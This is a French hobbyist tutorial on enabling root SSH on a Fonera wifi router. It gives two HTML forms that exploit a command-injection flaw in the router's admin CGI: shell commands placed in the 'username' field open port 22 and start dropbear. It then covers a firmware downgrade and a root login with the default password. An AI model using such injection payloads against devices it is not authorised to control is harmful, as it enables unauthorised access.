Hack de La Fonera pour accès ssh (0.7.1 rev2)

Attention, effectuez ces manipulation à vos risques et perils... Je ne prendrais aucune responsabilités en cas de problème :o

Ca y'est, j'ai reçu ma Fonera, gratuitement grâce à une promotion lancée sur un site dont je n'ai plus souvenir...  Alors déjà, la bestiole est minuscule. C'est fou d'avoir un routeur wifi de cette taille ! Ca fait un peut jouet, mais à priori, elle fonctionne très bien.

Je vais détailler ici comment ouvrir le ssh dessus. Pour cela, je vais reprendre différentes sources.

Prérequis :

Puis, on se rend sur http://169.254.255.1/ . Nous accedons alors à l'interface de gestion de la Fonera. La page status nous indique entre autre la version du firmware en cours: 0.7.1 rev2. Cette dernière révision corrige des failles au niveau de cette interface. D'après ce qu'on peut lire sur différents site, il est alors nécessaire d'utiliser un câble home made pour passer par le port série. A force de chercher, j'ai enfin trouvé une solution qui ne nécessite pas de câble.

Préparation du hack

Nous utilisons deux pages html qui vont nous permettre d'éxectuer deux commandes sur la Fonera en exploitant une faille de l'interface de gestion (faille corrigée en rev2 comme dit précédement). Donc, créez deux pages, 1.html et 2.html par exemple...

1.html

<html>
<body>
<center>
<form method="post" action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>
</body>
</html>

2.html

<html>
<body>
<center>
<form method="post" action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/etc/init.d/dropbear)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>
</body>
</html>

Downgrader le firmware 

En premier lieu, nous devons downgrader le firmware en rev1, qui est à priori d'origine sur la version que j'ai reçu. La manipulation est encore incertaine, j'ai passé environ 45 minutes avant d'avoir un accès ssh. Afin de pouvoir effectuer cette manipulation tranquillement, il est nécessaire que la Fonera n'ai pas acès à internet (sinon, elle se mettra à jour et vous devrez recommencer, ça m'est arrivé...). J'ai trouvé cette manipulation sur le wiki Francofon (après avoir fonctionné sur une traduction bancale du forum officiel allemand par google)

Rendez vous sur http://169.254.255.1/ et vérifiez la version. Si vous êtes en rev1, féliciations. Sinon, recommencez cette procédure, utilisez des variantes, etc. jusqu'à ce que ce soit le cas.

Activer le ssh

Lancez 1.html, cliquez sur Submit.
Lancez 2.html, cliquez sur Submit.

Si tout s'est bien passé, vous devriez pouvoir vous connecter en ssh dès maintenant. Lancez donc votre client ssh favori, depuis le même poste, c'est plus pratique.

ssh root@169.254.255.1

Mot de passe : admin (après le reset, on est revenu à la configuration initiale)

vi /etc/firewall.user
ESC i

Décommentez les deux lignes concernant les règles iptables pour le ssh

ESC :wq
mv /etc/init.d/dropbear /etc/init.d/S50dropbear
reboot

 

Et voilà... après le reboot, le ssh sera activé. Certains tutos conseillent de désactiver thinclient, script s'occupant de la mise à jour de la Fonera. Je ne le conseille pas personnellement. Depuis cette manipulation, elle est repassée en rev2 et j'ai toujours accès au ssh...